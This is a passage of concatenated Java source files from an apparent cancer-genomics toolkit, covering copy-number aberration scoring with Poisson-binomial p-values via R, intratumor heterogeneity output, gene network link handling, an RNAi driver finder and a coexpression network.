ccfProbability.get(mutID.get(i)).get(j)); } } return M; } public static void main(String [] args) throws Exception{ Options options = new Options(); options.addOption("m", "mat", true, "get probabirity matrix"); options.addOption("b", "bf", false, "assume before copy number alteration"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] tabfile (containing 'nA', 'nB', 'maf', 'depth' and 'purity' columns)", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 1){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] tabfile (containing 'nA', 'nB', 'maf', 'depth' and 'purity' columns)", options); return; } IntratumorHeterogeneityProfiler IHP = new IntratumorHeterogeneityProfiler(argList.get(0)); if(commandLine.hasOption("b")){ IHP. mutBeforeCNalteration = true; } IHP.calculateFccProbability(); IHP.calculateStatistics(); IHP.printResult(); if(commandLine.hasOption("m")){ IHP.getCcfProbabilityMatrix().print(commandLine.getOptionValue("m")); } } } <file_sep>/bin/snp/.svn/text-base/PART.java.svn-base package snp; import java.io.*; import java.util.*; import java.util.zip.DataFormatException; import utility.*; import org.apache.commons.math.MathException; import org.apache.commons.math.distribution.*; import org.apache.commons.cli.*; import sun.reflect.Reflection; public class PART { protected SegmentContainerMap BAF; protected SegmentContainerMap LogR; protected ProbeInfo probeInfo; protected List<String>probeList; protected List<String>sampleList; protected Set<String>sampleSet; protected MyMat scores; protected MyMat pvalues; protected MyMat qvalues; protected String[] scoreTypesArray = {"amp", "del", "neut", "AI", "ampAI", "delAI", "neutAI", "LOH"}; protected ArrayList<String> scoreTypes; // amp, del, neut, AI, ampAI, delAI, neutAI, LOH; protected int N = scoreTypesArray.length; protected MyMat nullScores; protected double AICutoff = 0.65; protected double ampCutoff = 0.1; protected double delCutoff = -0.1; protected MyMat cnStatus; protected MyMat poissonBinomialP; //[amp, del, neut, AI, ampAI, delAI, neutAI] x sample protected List<Condition> ConditionFunctions; interface Condition { boolean check(double logr, double baf); } private void initializeConditionFunctions(){ ConditionFunctions = new ArrayList<Condition>(); //amp ConditionFunctions.add( new Condition(){ public boolean check(double logr, double baf){ return logr > ampCutoff; } } ); //del ConditionFunctions.add( new Condition(){ public boolean check(double logr, double baf){ return logr < delCutoff; } } ); //neut ConditionFunctions.add( new Condition(){ public boolean check(double logr, double baf){ return logr >= delCutoff & logr <= ampCutoff; } } ); //AI ConditionFunctions.add( new Condition(){ public boolean check(double logr, double baf){ return baf>= AICutoff; } } ); //ampAI ConditionFunctions.add( new Condition(){ public boolean check(double logr, double baf){ return baf>= AICutoff & logr > ampCutoff; } } ); //delAI ConditionFunctions.add( new Condition(){ public boolean check(double logr, double baf){ return baf>= AICutoff & logr < delCutoff; } } ); //neutAI ConditionFunctions.add( new Condition(){ public boolean check(double logr, double baf){ return baf>= AICutoff & logr >= delCutoff & logr <= ampCutoff; } } ); //LOH ConditionFunctions.add( new Condition(){ public boolean check(double logr, double baf){ return baf>= AICutoff & logr <= ampCutoff; } } ); } public PART(SegmentContainerMap baf,SegmentContainerMap logr, ProbeInfo pi)throws IOException, DataFormatException { BAF = baf; LogR = logr; if(!BAF.checkConsistency()){ System.err.println("ERR: in SegmentContainerMap consistensiy"); throw new DataFormatException(""); } if(!LogR.checkConsistency()){ System.err.println("ERR: in SegmentContainerMap consistensiy"); throw new DataFormatException(""); } probeInfo = pi; scoreTypes = new ArrayList<String>(); for(int i = 0; i < N; i++){ scoreTypes.add(scoreTypesArray[i]); } sampleSet = new HashSet<String>(); for(String s: LogR.keySet()){ if(BAF.containsKey(s) & LogR.containsKey(s)){ sampleSet.add(s); } } probeList = new ArrayList<String>(probeSet()); sampleList = new ArrayList<String>(sampleSet()); initializeConditionFunctions(); } protected Set<String> sampleSet(){ return sampleSet; } protected Set<String> probeSet(){ return probeInfo.getProbeSet(); } protected void calculateScores(){ scores = new MyMat(probeList, scoreTypes); MyMat CountInSample = new MyMat(new ArrayList<String>(sampleSet()), scoreTypes); cnStatus = new MyMat(new ArrayList<String>(probeSet()),new ArrayList<String>(sampleSet())); for(String s: sampleSet()){ SegmentContainer bafSC = BAF.get(s); SegmentContainer logrSC = LogR.get(s); SegmentContainer.SegmentIterator bafSCitr = bafSC.iterator(); SegmentContainer.SegmentIterator logrSCitr = logrSC.iterator(); Segment S = bafSCitr.next(); Segment S2 = logrSCitr.next(); for(String p: probeSet()){ int chr = probeInfo.chr(p); int pos = probeInfo.pos(p); while(chr > S.chr()){ S = bafSCitr.next(); } while(pos > S.end()){ S = bafSCitr.next(); } while(chr > S2.chr()){ S2 = logrSCitr.next(); } while(pos > S2.end()){ S2 = logrSCitr.next(); } double baf = S.value(); double logr = S2.value(); for(int i = 0; i < N; i++){ if(ConditionFunctions.get(i).check(logr, baf)){ scores.set(p, scoreTypes.get(i), scores.get(p, scoreTypes.get(i))+1); CountInSample.set(s, scoreTypes.get(i), CountInSample.get(s, scoreTypes.get(i))+1); cnStatus.set(p, s, i); } } } } poissonBinomialP = new MyMat(scoreTypes,sampleList); for(String s1: scoreTypes){ for(String s2: sampleSet()){ poissonBinomialP.set(s1, s2, CountInSample.get(s2,s1)/probeSet().size()); } } } protected void showAberrationRatio(){ for(String s: scoreTypes){ double m = MyFunc.mean(poissonBinomialP.getRow(s)); System.err.println(s + ": " + m); } } public void calculatePvalues(){ pvalues = new MyMat(probeList, scoreTypes); for(String s: scoreTypes){ List <Double> tmp = scores.getCol(s); double M = MyFunc.max(tmp); double m = MyFunc.min(tmp); List <Integer> kk = new ArrayList<Integer>(); for(int i=(int) m;i<=(int)M;i++){ kk.add(i); } List<Double> pp = poissonBinomialP.getRow(s); List<Double> pv = getPoissonBinomialPvalue(kk,pp); Map<Integer, Double> kk2pv = new HashMap<Integer, Double>(); for(int i=0; i<kk.size();i++){ kk2pv.put(kk.get(i),pv.get(i)); } for(String p: probeList){ int score = (int)scores.get(p, s); double pvalue = kk2pv.get(score); pvalues.set(p, s, pvalue); } } } public static List<Double> getPoissonBinomialPvalue(List<Integer> kk, List<Double> pp){ String tmpFile = "tmp" + Math.round(Math.random()*100000000); try { PrintWriter os; os = new PrintWriter(new FileWriter(tmpFile + ".kk")); for(int i = 0, n = kk.size(); i < n; i++){ os.println(kk.get(i).toString()); } os.flush(); os.close(); os = new PrintWriter(new FileWriter(tmpFile + ".pp")); for(int i = 0, n = pp.size(); i < n; i++){ os.println(pp.get(i).toString()); } os.flush(); os.close(); os = new PrintWriter(new FileWriter(tmpFile + ".R")); os.println("kk<-scan(\"" + tmpFile + ".kk" + "\")"); os.println("pp<-scan(\"" + tmpFile + ".pp" + "\")"); os.println("library(poibin)"); os.println("pv<-1-ppoibin(kk=kk, pp=pp, method = \"RF\")"); os.println("pv[pv<=0]<-min(pv[pv>0])"); os.println("write(pv, ncolumns=1, file=\"" + tmpFile + ".pv" + "\")"); os.flush(); os.close(); MyFunc.runRscript(tmpFile + ".R"); List<Double> p = MyFunc.readDoubleList(tmpFile + ".pv"); File f = new File(tmpFile + ".kk"); if(!f.delete()){ f.deleteOnExit(); } f = new File(tmpFile + ".pp"); if(!f.delete()){ f.deleteOnExit(); } f = new File(tmpFile + ".R"); if(!f.delete()){ f.deleteOnExit(); } f = new File(tmpFile + ".pv"); if(!f.delete()){ f.deleteOnExit(); } return p; } catch (Exception e) { System.err.println(kk); System.err.print(pp); throw new ArithmeticException(); } } protected void calculateQvalues(){ qvalues = new MyMat(probeList, scoreTypes); for(String s: scoreTypes){ Map <String, Double> pmap = pvalues.getColMap(s); Map <String, Double> qmap = MyFunc.calculateQvalue(pmap); for(String p: qmap.keySet()){ qvalues.set(p, s, qmap.get(p)>1?1:qmap.get(p)); } } } protected String generateRandomProbes(){ int i = (int) Math.floor(Math.random()*probeList.size()); return probeList.get(i); } protected String generateRandomSamples(){ int i = (int) Math.floor(Math.random()*sampleList.size()); return sampleList.get(i); } protected void setLogRcutoffByPercentile(double LogRcutoffByPercentile){ List <Double> nullLogR = new ArrayList<Double>(); for(int i = 0; i < 500; i++){ String p = generateRandomProbes(); String s = generateRandomSamples(); int chr = probeInfo.chr(p); int pos = probeInfo.pos(p); double logr = LogR.get(s).get(chr, pos).value(); nullLogR.add(logr); } if(LogRcutoffByPercentile > 1){ LogRcutoffByPercentile /= 100; } ampCutoff = MyFunc.percentile(nullLogR,1-LogRcutoffByPercentile); delCutoff = MyFunc.percentile(nullLogR,LogRcutoffByPercentile); System.err.println("ampCutoff=" + ampCutoff); System.err.println("delCutoff=" + delCutoff); } public MyMat getMinusLogQvalues(){ MyMat minusLogQvalues = new MyMat(probeList, scoreTypes); for(String s: scoreTypes){ for(String p: probeList){ double tmp = qvalues.get(p, s); if(tmp==1){ tmp=0; }else{ tmp = - Math.log10(tmp); } minusLogQvalues.set(p, s, tmp); } } return minusLogQvalues; } public MyMat getQvalues(){ return qvalues; } public MyMat getPvalues(){ return pvalues; } public MyMat getScores(){ return scores; } public void perform(){ System.err.println("calculate scores...."); calculateScores(); //System.err.println(scores); showAberrationRatio(); System.err.println("calculate pvalues...."); calculatePvalues(); System.err.println("calculate qvalues...."); calculateQvalues(); } public static void main(String [] args) throws Exception{ Options options = new Options(); options.addOption("a", "ampcutoff", true, "cutoff for amplification call"); options.addOption("d", "delcutoff", true, "cutoff for deletion call"); options.addOption("A", "aicutoff", true, "cutoff for AI call"); options.addOption("n", "ndsize", true, "size of null distributions"); options.addOption("o", "outfile", true, "output file name"); options.addOption("t", "thinpi", true, "thin down probe info"); options.addOption("n", "nump", true, "# of psuedo probes"); options.addOption("c", "cutbyper", true, "amp and del cutoff by percentile"); options.addOption("s", "score", true, "score file name"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine = null; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] BAFSegFile LogRSegFile probeTsvFile", options); System.exit(1); } List <String> argList = commandLine.getArgList(); if(!(argList.size() == 3 | argList.size() == 2)){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] BAFSegFile LogRSegFile probeTsvFile", options); System.exit(1); } SegmentContainerMap BAF = new SegmentContainerMap(argList.get(0)); SegmentContainerMap LogR = new SegmentContainerMap(argList.get(1)); ProbeInfo PI; List<String> sample = new ArrayList<String>(BAF.keySet()); if(argList.size() == 3 ){ PI = ProbeInfo.getProbeInfoFromTsvFile(argList.get(2)); if(commandLine.hasOption("t")){ PI.thinDown(Integer.valueOf(commandLine.getOptionValue("t"))); } PI.filter(BAF.get(sample.get(0))); }else{ int n = 10000; if(commandLine.hasOption("n")){ n = Integer.valueOf(commandLine.getOptionValue("n")); } PI = BAF.generatePsuedoProbeInfo(n); } PART PART = new PART(BAF,LogR,PI); if(commandLine.hasOption("a")){ PART.ampCutoff = Double.valueOf(commandLine.getOptionValue("a")); } if(commandLine.hasOption("d")){ PART.delCutoff = Double.valueOf(commandLine.getOptionValue("d")); } if(commandLine.hasOption("A")){ PART.AICutoff = Double.valueOf(commandLine.getOptionValue("A")); } if(commandLine.hasOption("c")){ PART.setLogRcutoffByPercentile(Double.valueOf(commandLine.getOptionValue("c"))); } PART.perform(); MyMat tmp = PART.getMinusLogQvalues(); Writer os; if(commandLine.hasOption("o")){ os = new BufferedWriter(new FileWriter(commandLine.getOptionValue("o"))); }else{ os = new PrintWriter(System.out); } os.write("Probe" + "\t" + "Chrom" + "\t" + "BasePair" + "\t" + MyFunc.join("\t", PART.scoreTypes) + "\n"); for(String s: PI.getProbeSet()){ os.write(s + "\t" + PI.chr(s) + "\t" + PI.pos(s) + "\t" + MyFunc.join("\t", tmp.getRow(s))+ "\n"); } os.flush(); if(commandLine.hasOption("s")){ os = new BufferedWriter(new FileWriter(commandLine.getOptionValue("s"))); tmp = PART.getScores(); os.write("Probe" + "\t" + "Chrom" + "\t" + "BasePair" + "\t" + MyFunc.join("\t", PART.scoreTypes)+ "\n"); for(String s: PI.getProbeSet()){ os.write(s + "\t" + PI.chr(s) + "\t" + PI.pos(s) + "\t" + MyFunc.join("\t", tmp.getRow(s))+ "\n"); } os.flush(); } } } <file_sep>/src/network/NullLinkGenerator.java package network; import java.util.*; public class NullLinkGenerator { Link L; List <String> name; Map <String, Integer> name2degree; Map <Integer, List<String>> degree2name; public NullLinkGenerator(Link L){ this.L = L; name = L.getNodeName(); setDegree(); } private void setDegree(){ name2degree = new HashMap <String, Integer>(); degree2name = new HashMap <Integer, List<String>>(); for(String n1: name){ int i=0; for(String n2: name){ if(L.get(n1, n2)){ i++; } } name2degree.put(n1, i); if(!degree2name.containsKey(i)){ List <String> tmp = new ArrayList<String>(); tmp.add(n1); degree2name.put(i, tmp); }else{ degree2name.get(i).add(n1); } } } public Link getRondomNetwork(){ Link rL = new Link(L); List <String> rname = new ArrayList<String>(name); for(Integer d: degree2name.keySet()){ List<String> tmp = new ArrayList<String>(degree2name.get(d)); Collections.shuffle(tmp); for(int i = 0; i < tmp.size(); i++){ rname.set(L.getName2index().get(degree2name.get(d).get(i)),tmp.get(i)); } } rL.setNodeName(rname); return rL; } public Link getRondomNetworks(List<String> target){ Link rL = new Link(L); List <String> rname = new ArrayList<String>(name); Random rnd = new Random(); for(String s: target){ int d = name2degree.get(s); List<String> tmp = new ArrayList<String>(degree2name.get(d)); int j = L.getName2index().get(s); int i = rnd.nextInt(tmp.size()); rname.set(j, rname.get(i)); rname.set(i, s); } rL.setNodeName(rname); return rL; } } <file_sep>/src/network/Link.java package network; import java.util.*; import java.util.zip.DataFormatException; import java.io.*; import org.jgrapht.*; import org.jgrapht.graph.*; import utility.*; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import sun.reflect.Reflection; public class Link implements Serializable{ private static final long serialVersionUID = -3129909979203474489L; private boolean L[][]; private Map <String,Integer> name2index; private int n; private List <String> name; /*read from sif file*/ public Link (String infile) throws IOException, DataFormatException{ name2index = new HashMap<String, Integer>(); BufferedReader inputStream = new BufferedReader(new FileReader(infile)); String line; Set <String> name_set = new HashSet<String>(); String[] tmp = new String[3]; while((line = inputStream.readLine()) != null){ if(line.charAt(0) == '#'){ continue; } tmp = line.split("\t"); if(tmp.length != 3){ throw new DataFormatException("Dist: file format is wrong!"); } name_set.add(tmp[0]); name_set.add(tmp[2]); } name = new ArrayList<String>(name_set); Collections.sort(name); int i,j; n = name.size(); for(i=0;i<n;i++){ name2index.put(name.get(i),i); } L = new boolean[n][]; for(i = 0; i < n; i++){ L[i] = new boolean[i]; } inputStream = new BufferedReader(new FileReader(infile)); while((line = inputStream.readLine()) != null){ if(line.charAt(0) == '#'){ continue; } tmp = line.split("\t"); i = name2index.get(tmp[0]); j = name2index.get(tmp[2]); if(i > j){ L[i][j] = true; } if(j > i){ L[j][i] = true; } } inputStream.close(); } public List <String> getNodeName(){ return name; } public Map <String, Integer> getName2index(){ return name2index; } public void setNodeName(List <String> name){ this.name= new ArrayList<String>(name); int i, n = name.size(); name2index.clear(); for(i=0;i<n;i++){ name2index.put(name.get(i),i); } return; } public boolean containsNode(String s){ return name2index.containsKey(s); } public boolean get(int i, int j){ if(i >= n || j >= n){ throw new IndexOutOfBoundsException(); } if(i > j){ return L[i][j]; } if(i < j){ return L[j][i]; } return false; } public boolean get(String s, String t){ if(name2index.containsKey(s) && name2index.containsKey(t)){ int i = name2index.get(s); int j = name2index.get(t); return get(i,j); }else{ return false; } } public void add(String s, String t){ set(s,t,true); } public void delete(String s, String t){ set(s,t,false); } public void set(String s,String t, boolean b){ int i = name2index.get(s); int j = name2index.get(t); if(i > j){ L[i][j] = b; } if(i < j){ L[j][i] = b; } } Link (int k){ n = k; L = new boolean[n][]; int i,j; for(i = 0; i < n; i++){ L[i] = new boolean[i]; } for( i=0;i<n;i++){ for(j=0;j<i;j++){ L[i][j] = false; } } name2index = new HashMap<String, Integer>(); name = new ArrayList<String>(); for(i=0;i<n;i++){ name.add( "node" + i+1 ); } for(i=0;i<n;i++){ name2index.put(name.get(i),i); } } Link (List <String> nodes){ n=nodes.size(); L = new boolean[n][]; int i,j; for(i = 0; i < n; i++){ L[i] = new boolean[i]; } for(i=0;i<n;i++){ for(j=0;j<i;j++){ L[i][j] = false; } } name2index = new HashMap<String, Integer>(); name = new ArrayList<String>(nodes); for(i=0;i<n;i++){ name2index.put(name.get(i),i); } } Link(Link link){ n = link.n; name2index = new HashMap<String, Integer>(link.name2index); name = new ArrayList<String>(link.name); L = new boolean[n][]; int i,j; for(i = 0; i < n; i++){ L[i] = new boolean[i]; } for(i=0;i<n;i++){ for(j=0;j<i;j++){ L[i][j] = link.L[i][j]; } } }; public Link multiply(Link link){ List <String> newName = MyFunc.union(name, link.name); Link link2 = new Link(newName); for(int i = 0, N = newName.size(); i < N; i++){ for(int j = 0; j < i; j++){ for(int k = 0; k < N; k++){ if(get(newName.get(i), newName.get(k)) == true && link.get(newName.get(j), newName.get(k)) == true){ link2.add(newName.get(i), newName.get(j)); break; } } } } return link2; } public static Link multiply(List <Link> links){ Link link = links.get(0).add(links.get(1)); for(int i = 2; i < links.size(); i++){ link = link.multiply(links.get(i)); } return link; } public Link add(Link link) { List <String> newName = MyFunc.union(name, link.name); Link link2 = new Link(newName); int i,j; for(i = 0; i < newName.size(); i++){ for(j = 0; j < i; j++){ if(get(newName.get(i),newName.get(j)) == true || link.get(newName.get(i),newName.get(j)) == true){ link2.add(newName.get(i),newName.get(j)); } } } return link2; } public static Link add(List <Link> links){ Link link = links.get(0).add(links.get(1)); for(int i = 2; i < links.size(); i++){ link = link.add(links.get(i)); } return link; } public List <String> getNeighbors(String node){ int i; int j = name2index.get(node); List <String> neighbor = new ArrayList<String>(); for(i = 0; i < j; i++){ if(L[j][i] != false){ neighbor.add(name.get(i)); } } for(i = j+1; i < n; i++){ if(L[i][j] != false){ neighbor.add(name.get(i)); } } return neighbor; } public boolean havePath(String node1, String node2, int pathlength){ if(pathlength < 1){ return false; } if(pathlength == 1){ return get(node1, node2); } Set <String> neighbors = new HashSet<String>(getNeighbors(node1)); for(int j = 2; j<=pathlength; j++){ Set <String> newNeighbors = new HashSet<String>(); for(String s : neighbors){ newNeighbors.addAll(getNeighbors(s)); } if(newNeighbors.contains(node2)){ return true; } neighbors = newNeighbors; } return false; } public Link getSubLinkontainingTargetAndBridgingNodes(List <String> nodes){ List <String> targetNodes = MyFunc.isect(nodes, name); List <String> bridgingNodes = new ArrayList <String>(); for(String s: name){ if(!targetNodes.contains(s)){ int i = 0; for(String t: targetNodes){ if(get(t,s)){ i++; } } if(i >= 2){ bridgingNodes.add(s); } } } targetNodes.addAll(bridgingNodes); return getSubLink(targetNodes); } public Link getSubLink(List <String> nodes){ nodes = MyFunc.isect(nodes, name); Link link = new Link(nodes); for(int i = 0; i < nodes.size(); i++){ for(int j = 0; j < i; j++){ link.set(nodes.get(i), nodes.get(j), get(nodes.get(i), nodes.get(j))); } } return link; } public static Link getLinkFromNodePairList(List <String[]> nodePairs){ List <String> nodes = new ArrayList<String>(); for(int i = 0; i < nodePairs.size(); i++){ nodes.add(nodePairs.get(i)[0]); nodes.add(nodePairs.get(i)[1]); } Link link = new Link(nodes); for(int i = 0; i < nodePairs.size(); i++){ link.add(nodePairs.get(i)[0], nodePairs.get(i)[1]); } return link; } public Link getSubLinkContainingTargetNodesAndNeighbors(List <String> targetNodes, int pathLength){ List <String> neighbor = new ArrayList<String>(targetNodes); List <String> member = new ArrayList<String>(targetNodes); List < String[] >linkList = new ArrayList<String[]>(); int k =0; int i,j; while(k < pathLength){ List <String> tmp =new ArrayList<String>(); for(i=0;i<neighbor.size();i++){ List <String> tmp2 = getNeighbors(neighbor.get(i)); for(j=0;j<tmp2.size();j++){ member.add(tmp2.get(j)); tmp.add(tmp2.get(j)); String[] tmp3 = new String[2]; tmp3[0] = neighbor.get(i); tmp3[1] = tmp2.get(j); linkList.add(tmp3); } } neighbor = tmp; k++; } member = MyFunc.uniq(member); Link subL = new Link(member); for(i=0;i<linkList.size();i++){ subL.add((linkList.get(i))[0],(linkList.get(i))[1]); } return subL; } public Link getSubLinkContainingNodesithMinDegreeOfLinks(int minDegree){ List <String> member = new ArrayList<String>(name); minDegree = Math.max(minDegree, 1); Link subL; while(true){ subL = getSubLink(member); List <String> member2 = new ArrayList<String>();; for(int i=0;i<member.size();i++){ if(subL.getNeighbors(member.get(i)).size() >= minDegree){ member2.add(member.get(i)); } } if(member.size() == member2.size()){ break; } member = member2; } return subL; } public void printDataInSifFormat(String outfile, String linkType) throws IOException{ PrintWriter os = new PrintWriter(new FileWriter(outfile)); int i,j; for(i=0; i<n; i++){ for(j=0;j<i;j++){ if(get(i,j) == true){ os.println(name.get(i) + "\t" + linkType + "\t" + name.get(j)); } } } os.flush(); os.close(); } public void printDataInSifFormat(String linkType) throws IOException{ int i,j; for(i=0; i<n; i++){ for(j=0;j<i;j++){ if(get(i,j) == true){ System.out.println(name.get(i) + "\t" + linkType + "\t" + name.get(j)); } } } } public UndirectedGraph<String, DefaultEdge> getUndirectedGraph(){ UndirectedGraph<String, DefaultEdge> g = new SimpleGraph<String, DefaultEdge>(DefaultEdge.class); for(String s: name){ g.addVertex(s); } for(String s: name){ for(String t: name){ if(s.compareTo(t) > 0){ g.addEdge(s,t); } } } return g; } public static void main(String [] args) throws Exception{ Options options = new Options(); options.addOption("t", "target", true, "target node file for subnetwork extraction"); options.addOption("T", "Target", true, "target nodes separated by ':'"); options.addOption("l", "pathlength", true, "path length for subnetwork extraction (default:1)"); options.addOption("L", "linktype", true, "link type in the sif format (default: pp)"); options.addOption("m", "mindegree", true, "minimun degree of nodes to be output"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] linkFile", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 1){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] linkFile", options); return; } Link L = new Link(argList.get(0)); List <String> targetNode = new ArrayList<String>(); int pathLength = 1; String linkType = "pp"; if(commandLine.hasOption("t")){ targetNode = MyFunc.readStringList2(commandLine.getOptionValue("t")); targetNode = MyFunc.isect(targetNode, L.getNodeName()); } if(commandLine.hasOption("T")){ targetNode = MyFunc.split(":",(commandLine.getOptionValue("T"))); targetNode = MyFunc.isect(targetNode, L.getNodeName()); } if(commandLine.hasOption("l")){ pathLength = Integer.valueOf(commandLine.getOptionValue("l")); } if(commandLine.hasOption("L")){ pathLength = Integer.valueOf(commandLine.getOptionValue("l")); } if(targetNode.size() > 1){ L = L.getSubLinkContainingTargetNodesAndNeighbors(targetNode, pathLength); } if(commandLine.hasOption("m")){ L = L.getSubLinkContainingNodesithMinDegreeOfLinks(Integer.valueOf(commandLine.getOptionValue("m"))); } L.printDataInSifFormat(linkType); } } <file_sep>/src/rnai/DriverFinder.java package rnai; import sun.reflect.Reflection; import utility.*; import java.io.IOException; import java.util.*; import org.apache.commons.cli.*; import org.apache.commons.math3.stat.inference.MannWhitneyUTest; public class DriverFinder { MyMat R; MyMat T; MyMat C; MyMat S; Map <String, List<String>> gene2probe; int minListSize = 6; boolean ascending = true; double cutoff = 2; public DriverFinder(MyMat r, MyMat t, Map <String, String> probe2gene) throws Exception{ if(MyFunc.isect(r.getColNames(), t.getColNames()).size() >= minListSize){ R = r; T = t; }else if(MyFunc.isect(r.getRowNames(), t.getColNames()).size() >= minListSize){ R = r; T = t; r.transpose(); }else if(MyFunc.isect(r.getColNames(), t.getRowNames()).size() >= minListSize){ R = r; T = t; t.transpose(); }else if(MyFunc.isect(r.getRowNames(), t.getRowNames()).size() >= minListSize){ R = r; T = t; r.transpose(); t.transpose(); }else{ throw new Exception("ERR: no row and column ids"); } List <String> tmp = new ArrayList<String>(probe2gene.keySet()); List <String> tmp2 = MyFunc.isect(tmp, r.getRowNames()); R = R.getSubMatByRow(tmp2); gene2probe = new HashMap <String, List<String>> (); for(String s: tmp2){ if(!gene2probe.containsKey(probe2gene.get(s))){ gene2probe.put(probe2gene.get(s), new ArrayList<String>()); } gene2probe.get(probe2gene.get(s)).add(s); } Set <String> tmp3 = new HashSet<String>(gene2probe.keySet()); List <String> tmp4 = new ArrayList<String>(); for(String s: tmp3){ if(gene2probe.get(s).size() <= 2){ gene2probe.remove(s); }else{ tmp4.addAll(gene2probe.get(s)); } } R = R.getSubMatByRow(tmp4); } private void getCorrelation(){ C = new MyMat(R.getRowNames(),T.getRowNames()); for(String s: R.getRowNames()){ for(String t: T.getRowNames()){ List <Double> L1 = R.getRow(s); List <Double> L2 = T.getRow(t); int n2 = (new HashSet<Double>(L2)).size(); double c = 0; if(n2 >1){ if(n2==2){ try{ c = tStatistic(L2, L1); }catch(Exception e){} }else{ c = MyFunc.pearsonCorrelation(L1, L2); } } C.set(s, t, c); } } } private double tStatistic (List <Double> continousL, List <Double> binaryL) throws Exception{ List<Double> tmp = new ArrayList<Double>(new TreeSet<Double>(binaryL)); List<Double> V = new ArrayList<Double>(); List<Double> U = new ArrayList<Double>(); for(int i = 0; i < continousL.size(); i++){ if(eq(binaryL.get(i),tmp.get(0))){ V.add(continousL.get(i)); }else{ U.add(continousL.get(i)); } } if(V.size()<=2 || U.size()<=2){ throw new Exception(); } return MyFunc.tStatistic(V, U); } private boolean eq(double a, double b){ return Math.abs(a-b)<0.0000000001; } private void convertProbe2gene(){ S = new MyMat(new ArrayList<String>(gene2probe.keySet()), C.getColNames()); MannWhitneyUTest MWUT = new MannWhitneyUTest(); for(String s: C.getColNames()){ for(String g:gene2probe.keySet()){ Set <String> probe = new HashSet<String>(gene2probe.get(g)); List <Double> U = new ArrayList<Double>(); List <Double> V = new ArrayList<Double>(); for(String p: C.getRowNames()){ if(probe.contains(p)){ U.add(C.get(p,s)); }else{ V.add(C.get(p,s)); } } double [] v = new double [V.size()]; double [] u = new double [U.size()]; for(int i = 0; i < v.length; i++){ v[i] = V.get(i); } for(int i = 0; i < u.length; i++){ u[i] = U.get(i); } double p = MWUT.mannWhitneyUTest(u,v); if(MyFunc.mean(U)>MyFunc.mean(V)){ p = -Math.log10(p); }else{ p = Math.log10(p); } S.set(g, s, p); } } } private void filterOutputRow(double cutoff){ S = filterMatrixRow(S,cutoff); } private void filterOutputColumn(double cutoff){ S = filterMatrixColumn(S,cutoff); } static private MyMat filterMatrixRow(MyMat S, double cutoff){ List <String> filtered = new ArrayList<String>(); L:for(String s:S.getRowNames()){ for(String t: S.getColNames()){ if(Math.abs(S.get(s, t)) > cutoff){ filtered.add(s); continue L; } } } if(filtered.size()>0){ S = S.getSubMatByRow(filtered); } return S; } static private MyMat filterMatrixColumn(MyMat S, double cutoff){ List <String> filtered = new ArrayList<String>(); L:for(String s:S.getColNames()){ for(String t: S.getRowNames()){ if(Math.abs(S.get(t, s)) > cutoff){ filtered.add(s); continue L; } } } if(filtered.size()>0){ S = S.getSubMatByRow(filtered); } return S; } private void print(){ System.out.print(S); } private void print(String outfile) throws IOException{ S.print(outfile); } public static void main(String[] args) throws Exception { Options options = new Options(); options.addOption("r", "row", true, "filter row"); options.addOption("c", "column", true, "filter column"); options.addOption("o", "outfile", true, "outfile"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] rnaiTabFle targetTabFile chipFile", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 3 && argList.size() != 1){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] rnaiTabFle targetTabFile chipFile", options); return; } DriverFinder DF = new DriverFinder(new MyMat(argList.get(0)), new MyMat(argList.get(1)), MyFunc.readStringStringMap(argList.get(2))); DF.getCorrelation(); DF.convertProbe2gene(); if(commandLine.hasOption("c")){ DF.filterOutputColumn( Double.valueOf(commandLine.getOptionValue("c"))); } if(commandLine.hasOption("r")){ DF.filterOutputRow(Double.valueOf(commandLine.getOptionValue("r"))); } if(commandLine.hasOption("o")){ DF.print(commandLine.getOptionValue("o")); }else{ DF.print(); } } } <file_sep>/src/network/CoexpressionNetwork.java package network; import java.io.IOException; import java.util.*; import org.apache.commons.cli.*; import sun.reflect.Reflection; import utility.*; public class CoexpressionNetwork { private MyMat E; private Dist C; private Link L; private double cutoff = 0; public CoexpressionNetwork(MyMat E){ this.E = new MyMat(E); this.E.normalizeRows(); } public void getCor(){ C = new Dist(E, 'C'); } public void convert2FisherZ(){ int i, j; int n = C.size(); double max = 0.999999999999; for(i=0; i<n; i++){ for(j=0;j<i;j++){ double c = C.get(i, j); if(c > max){ c = max; } if(c < -max){ c = -max; } C.set(i, j,0.5 * Math.log((1+c)/(1-c))); } } } public void normalizeCor(){ int i, j; int n = C.size(); List<Double> tmp = new ArrayList<Double>(); for(i=0; i<n; i++){ for(j=0;j<i;j++){ tmp.add(C.get(i, j)); } } double mean = MyFunc.mean(tmp); double sd = MyFunc.sd(tmp); for(i=0; i<n; i++){ for(j=0;j<i;j++){ C.set(i, j, (C.get(i, j)-mean)/sd); } } } public void print() throws IOException{ C.print(); } public void getLink(){ List <String> gene = E.getRowNames(); L = new Link(gene); for(int i = 0; i < gene.size(); i++){ for(int j = 0; j < i; j++){ if(C.get(gene.get(i), gene.get(j))>= cutoff){ L.set(gene.get(i), gene.get(j), true); } } } } public void printResult() throws IOException{ L.printDataInSifFormat("coexp"); } public static void main(String [] args) throws Exception{ Options options = new Options(); 